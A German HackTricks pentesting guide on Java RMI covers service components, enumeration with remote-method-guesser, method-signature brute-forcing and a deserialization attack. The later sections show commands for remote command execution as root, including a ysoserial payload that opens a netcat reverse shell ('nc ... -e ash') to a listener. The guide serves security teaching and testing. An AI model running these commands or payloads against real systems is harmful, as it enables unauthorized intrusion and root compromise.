mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 12:33:39 +00:00
336 lines
20 KiB
Markdown
336 lines
20 KiB
Markdown
# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
|
|
|
|
<details>
|
|
|
|
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
|
|
Heute Zugriff erhalten:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
|
|
|
|
## Grundlegende Informationen
|
|
|
|
_Java Remote Method Invocation_ oder _Java RMI_ ist ein objektorientierter _RPC-Mechanismus_, der es einem Objekt in einer _Java Virtual Machine_ ermöglicht, Methoden auf einem Objekt in einer anderen _Java Virtual Machine_ aufzurufen. Dies ermöglicht es Entwicklern, verteilte Anwendungen unter Verwendung eines objektorientierten Paradigmas zu schreiben. Eine kurze Einführung in _Java RMI_ aus offensiver Sicht finden Sie in [diesem Blackhat-Vortrag](https://youtu.be/t\_aw1mDNhzI?t=202).
|
|
|
|
**Standardport:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
1090/tcp open ssl/java-rmi Java RMI
|
|
9010/tcp open java-rmi Java RMI
|
|
37471/tcp open java-rmi Java RMI
|
|
40259/tcp open ssl/java-rmi Java RMI
|
|
```
|
|
In der Regel sind nur die Standard-_Java RMI_-Komponenten (das _RMI-Register_ und das _Aktivierungssystem_) an gängige Ports gebunden. Die _Remote-Objekte_, die die tatsächliche _RMI_-Anwendung implementieren, sind normalerweise an zufällige Ports gebunden, wie im obigen Output gezeigt.
|
|
|
|
_nmap_ hat manchmal Schwierigkeiten, _SSL_-geschützte _RMI_-Dienste zu identifizieren. Wenn Sie auf einem gängigen _RMI_-Port einen unbekannten SSL-Dienst finden, sollten Sie weitere Untersuchungen durchführen.
|
|
|
|
## RMI-Komponenten
|
|
|
|
Um es einfach auszudrücken, ermöglicht _Java RMI_ einem Entwickler, ein _Java-Objekt_ im Netzwerk verfügbar zu machen. Dadurch wird ein _TCP_-Port geöffnet, über den Clients eine Verbindung herstellen und Methoden des entsprechenden Objekts aufrufen können. Obwohl dies einfach klingt, gibt es mehrere Herausforderungen, die _Java RMI_ lösen muss:
|
|
|
|
1. Um einen Methodenaufruf über _Java RMI_ zu verteilen, müssen Clients die IP-Adresse, den empfangenden Port, die implementierte Klasse oder das Interface und die `ObjID` des Zielobjekts kennen (die `ObjID` ist ein eindeutiger und zufälliger Bezeichner, der erstellt wird, wenn das Objekt im Netzwerk verfügbar gemacht wird. Sie ist erforderlich, da _Java RMI_ es ermöglicht, dass mehrere Objekte auf demselben _TCP_-Port lauschen).
|
|
2. Remote-Clients können Ressourcen auf dem Server zuweisen, indem sie Methoden auf dem freigegebenen Objekt aufrufen. Die _Java Virtual Machine_ muss verfolgen, welche dieser Ressourcen noch in Verwendung sind und welche davon vom Garbage Collector eingesammelt werden können.
|
|
|
|
Die erste Herausforderung wird durch das _RMI-Register_ gelöst, das im Grunde ein Namensdienst für _Java RMI_ ist. Das _RMI-Register_ selbst ist auch ein _RMI-Dienst_, aber das implementierte Interface und die `ObjID` sind festgelegt und allen _RMI_-Clients bekannt. Dies ermöglicht es _RMI_-Clients, das _RMI-Register_ zu nutzen, indem sie lediglich den entsprechenden _TCP_-Port kennen.
|
|
|
|
Wenn Entwickler ihre _Java-Objekte_ im Netzwerk verfügbar machen möchten, binden sie diese normalerweise an ein _RMI-Register_. Das _Register_ speichert alle Informationen, die zum Verbinden mit dem Objekt erforderlich sind (IP-Adresse, empfangender Port, implementierte Klasse oder Interface und den Wert der `ObjID`) und macht sie unter einem menschenlesbaren Namen (dem _gebundenen Namen_) verfügbar. Clients, die den _RMI-Dienst_ nutzen möchten, fragen das _RMI-Register_ nach dem entsprechenden _gebundenen Namen_, und das Register gibt alle erforderlichen Informationen zurück, um eine Verbindung herzustellen. Somit ist die Situation im Grunde genommen die gleiche wie bei einem gewöhnlichen _DNS_-Dienst. Das folgende Listing zeigt ein kleines Beispiel:
|
|
```java
|
|
import java.rmi.registry.Registry;
|
|
import java.rmi.registry.LocateRegistry;
|
|
import lab.example.rmi.interfaces.RemoteService;
|
|
|
|
public class ExampleClient {
|
|
|
|
private static final String remoteHost = "172.17.0.2";
|
|
private static final String boundName = "remote-service";
|
|
|
|
public static void main(String[] args)
|
|
{
|
|
try {
|
|
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
|
|
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
|
|
String response = ref.remoteMethod(); // Call a remote method
|
|
|
|
} catch( Exception e) {
|
|
e.printStackTrace();
|
|
}
|
|
}
|
|
}
|
|
```
|
|
Die zweite der oben genannten Herausforderungen wird durch den _Distributed Garbage Collector_ (_DGC_) gelöst. Dies ist ein weiterer _RMI-Dienst_ mit einem bekannten `ObjID`-Wert und ist auf praktisch jedem _RMI-Endpunkt_ verfügbar. Wenn ein _RMI-Client_ beginnt, einen _RMI-Dienst_ zu nutzen, sendet er dem _DGC_ eine Information, dass das entsprechende _Remote-Objekt_ verwendet wird. Der _DGC_ kann dann die Referenzzählung verfolgen und nicht verwendete Objekte bereinigen.
|
|
|
|
Zusammen mit dem veralteten _Activation System_ sind dies die drei Standardkomponenten von _Java RMI_:
|
|
|
|
1. Das _RMI-Register_ (`ObjID = 0`)
|
|
2. Das _Activation System_ (`ObjID = 1`)
|
|
3. Der _Distributed Garbage Collector_ (`ObjID = 2`)
|
|
|
|
Die Standardkomponenten von _Java RMI_ sind seit geraumer Zeit als Angriffsvektoren bekannt, und es existieren mehrere Schwachstellen in veralteten _Java_-Versionen. Aus der Perspektive eines Angreifers sind diese Standardkomponenten interessant, weil sie bekannte Klassen/Interfaces implementiert haben und es leicht möglich ist, mit ihnen zu interagieren. Diese Situation ist bei benutzerdefinierten _RMI-Diensten_ anders. Um eine Methode auf einem _Remote-Objekt_ aufzurufen, muss man im Voraus die entsprechende Methodensignatur kennen. Ohne Kenntnis einer vorhandenen Methodensignatur gibt es keine Möglichkeit, mit einem _RMI-Dienst_ zu kommunizieren.
|
|
|
|
## RMI-Auflistung
|
|
|
|
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ist ein _Java RMI_-Schwachstellenscanner, der in der Lage ist, gängige _RMI-Schwachstellen_ automatisch zu identifizieren. Immer wenn Sie einen _RMI_-Endpunkt identifizieren, sollten Sie es ausprobieren:
|
|
```
|
|
$ rmg enum 172.17.0.2 9010
|
|
[+] RMI registry bound names:
|
|
[+]
|
|
[+] - plain-server2
|
|
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
|
|
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
|
|
[+] - legacy-service
|
|
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
|
|
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
|
|
[+] - plain-server
|
|
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
|
|
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
|
|
[+]
|
|
[+] RMI server codebase enumeration:
|
|
[+]
|
|
[+] - http://iinsecure.dev/well-hidden-development-folder/
|
|
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
|
|
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
|
|
[+]
|
|
[+] RMI server String unmarshalling enumeration:
|
|
[+]
|
|
[+] - Caught ClassNotFoundException during lookup call.
|
|
[+] --> The type java.lang.String is unmarshalled via readObject().
|
|
[+] Configuration Status: Outdated
|
|
[+]
|
|
[+] RMI server useCodebaseOnly enumeration:
|
|
[+]
|
|
[+] - Caught MalformedURLException during lookup call.
|
|
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
|
|
[+] Configuration Status: Non Default
|
|
[+]
|
|
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
|
|
[+]
|
|
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
|
|
[+] Vulnerability Status: Vulnerable
|
|
[+]
|
|
[+] RMI Security Manager enumeration:
|
|
[+]
|
|
[+] - Security Manager rejected access to the class loader.
|
|
[+] --> The server does use a Security Manager.
|
|
[+] Configuration Status: Current Default
|
|
[+]
|
|
[+] RMI server JEP290 enumeration:
|
|
[+]
|
|
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
|
|
[+] Vulnerability Status: Non Vulnerable
|
|
[+]
|
|
[+] RMI registry JEP290 bypass enmeration:
|
|
[+]
|
|
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
|
|
[+] Vulnerability Status: Vulnerable
|
|
[+]
|
|
[+] RMI ActivationSystem enumeration:
|
|
[+]
|
|
[+] - Caught IllegalArgumentException during activate call (activator is present).
|
|
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
|
|
[+] --> Client codebase enabled - Configuration Status: Non Default
|
|
```
|
|
Die Ausgabe der Aufzählungsaktion wird in den [Dokumentationsseiten](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) des Projekts genauer erläutert. Abhängig vom Ergebnis sollten Sie versuchen, identifizierte Schwachstellen zu überprüfen.
|
|
|
|
Die von _remote-method-guesser_ angezeigten `ObjID`-Werte können verwendet werden, um die Betriebszeit des Dienstes zu bestimmen. Dies kann helfen, andere Schwachstellen zu identifizieren:
|
|
```
|
|
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
|
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
|
|
[+]
|
|
[+] ObjNum: -4004948013687638236
|
|
[+] UID:
|
|
[+] Unique: 1442798173
|
|
[+] Time: 1640761503828 (Dec 29,2021 08:05)
|
|
[+] Count: -32760
|
|
```
|
|
## Bruteforcing Remote Methods
|
|
|
|
Auch wenn während der Enumeration keine Schwachstellen identifiziert wurden, könnten die verfügbaren _RMI_-Dienste dennoch gefährliche Funktionen offenlegen. Darüber hinaus sind bei der Kommunikation mit _RMI_-Standardkomponenten Deserialisierungsfilter aktiv, aber bei der Kommunikation mit benutzerdefinierten _RMI_-Diensten sind solche Filter normalerweise nicht vorhanden. Das Wissen um gültige Methodensignaturen bei _RMI_-Diensten ist daher wertvoll.
|
|
|
|
Leider unterstützt _Java RMI_ das Auflisten von Methoden auf _Remote-Objekten_ nicht. Dennoch ist es möglich, Methodensignaturen mit Tools wie [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) oder [rmiscout](https://github.com/BishopFox/rmiscout) zu bruteforcen:
|
|
```
|
|
$ rmg guess 172.17.0.2 9010
|
|
[+] Reading method candidates from internal wordlist rmg.txt
|
|
[+] 752 methods were successfully parsed.
|
|
[+] Reading method candidates from internal wordlist rmiscout.txt
|
|
[+] 2550 methods were successfully parsed.
|
|
[+]
|
|
[+] Starting Method Guessing on 3281 method signature(s).
|
|
[+]
|
|
[+] MethodGuesser is running:
|
|
[+] --------------------------------
|
|
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
|
|
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
|
|
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
|
|
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
|
|
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
|
|
[+] [6562 / 6562] [#####################################] 100%
|
|
[+] done.
|
|
[+]
|
|
[+] Listing successfully guessed methods:
|
|
[+]
|
|
[+] - plain-server2 == plain-server
|
|
[+] --> String execute(String dummy)
|
|
[+] --> String system(String dummy, String[] dummy2)
|
|
[+] - legacy-service
|
|
[+] --> void logMessage(int dummy1, String dummy2)
|
|
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
|
|
[+] --> String login(java.util.HashMap dummy1)
|
|
```
|
|
Identifizierte Methoden können wie folgt aufgerufen werden:
|
|
```
|
|
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
|
|
[+] uid=0(root) gid=0(root) groups=0(root)
|
|
```
|
|
Oder Sie können Deserialisierungsangriffe wie folgt durchführen:
|
|
```
|
|
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
|
|
[+] Creating ysoserial payload... done.
|
|
[+]
|
|
[+] Attempting deserialization attack on RMI endpoint...
|
|
[+]
|
|
[+] Using non primitive argument type java.lang.String on position 0
|
|
[+] Specified method signature is String execute(String dummy)
|
|
[+]
|
|
[+] Caught ClassNotFoundException during deserialization attack.
|
|
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
|
|
[+] Deserialization attack probably worked :)
|
|
|
|
$ nc -vlp 4444
|
|
Ncat: Version 7.92 ( https://nmap.org/ncat )
|
|
Ncat: Listening on :::4444
|
|
Ncat: Listening on 0.0.0.0:4444
|
|
Ncat: Connection from 172.17.0.2.
|
|
Ncat: Connection from 172.17.0.2:45479.
|
|
id
|
|
uid=0(root) gid=0(root) groups=0(root)
|
|
```
|
|
Weitere Informationen finden Sie in diesen Artikeln:
|
|
|
|
* [Angriff auf Java RMI-Dienste nach JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
|
|
* [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
|
|
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
|
* [rmiscout](https://bishopfox.com/blog/rmiscout)
|
|
|
|
Neben dem Raten sollten Sie auch in Suchmaschinen oder auf _GitHub_ nach der Schnittstelle oder sogar der Implementierung eines gefundenen _RMI_-Dienstes suchen. Der _gebundene Name_ und der Name der implementierten Klasse oder Schnittstelle können hier hilfreich sein.
|
|
|
|
## Bekannte Schnittstellen
|
|
|
|
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) markiert Klassen oder Schnittstellen als `bekannt`, wenn sie in der internen Datenbank bekannter _RMI-Dienste_ des Tools aufgeführt sind. In diesen Fällen können Sie die `bekannt`-Aktion verwenden, um weitere Informationen zum entsprechenden _RMI-Dienst_ zu erhalten:
|
|
```
|
|
$ rmg enum 172.17.0.2 1090 | head -n 5
|
|
[+] RMI registry bound names:
|
|
[+]
|
|
[+] - jmxrmi
|
|
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
|
|
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
|
|
|
|
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
|
[+] Name:
|
|
[+] JMX Server
|
|
[+]
|
|
[+] Class Name:
|
|
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
|
|
[+] - javax.management.remote.rmi.RMIServer
|
|
[+]
|
|
[+] Description:
|
|
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
|
|
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
|
|
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
|
|
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
|
|
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
|
|
[+]
|
|
[+] Remote Methods:
|
|
[+] - String getVersion()
|
|
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
|
|
[+]
|
|
[+] References:
|
|
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
|
|
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
|
|
[+]
|
|
[+] Vulnerabilities:
|
|
[+]
|
|
[+] -----------------------------------
|
|
[+] Name:
|
|
[+] MLet
|
|
[+]
|
|
[+] Description:
|
|
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
|
|
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
|
|
[+] is therefore most of the time equivalent to remote code execution.
|
|
[+]
|
|
[+] References:
|
|
[+] - https://github.com/qtc-de/beanshooter
|
|
[+]
|
|
[+] -----------------------------------
|
|
[+] Name:
|
|
[+] Deserialization
|
|
[+]
|
|
[+] Description:
|
|
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
|
|
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
|
|
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
|
|
[+] establish a working JMX connection, you can also perform deserialization attacks.
|
|
[+]
|
|
[+] References:
|
|
[+] - https://github.com/qtc-de/beanshooter
|
|
```
|
|
## Shodan
|
|
|
|
* `port:1099 java`
|
|
|
|
## Werkzeuge
|
|
|
|
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
|
* [rmiscout](https://github.com/BishopFox/rmiscout)
|
|
* [BaRMIe](https://github.com/NickstaDB/BaRMIe)
|
|
|
|
## Referenzen
|
|
|
|
* [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
|
|
|
## HackTricks Automatische Befehle
|
|
```
|
|
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
|
|
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
|
|
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
|
|
|
|
Entry_1:
|
|
Name: Enumeration
|
|
Description: Perform basic enumeration of an RMI service
|
|
Command: rmg enum {IP} {PORT}
|
|
```
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi), um mühelos **Workflows zu erstellen** und zu **automatisieren**, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
|
|
Heute Zugriff erhalten:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
|
|
|
</details>
|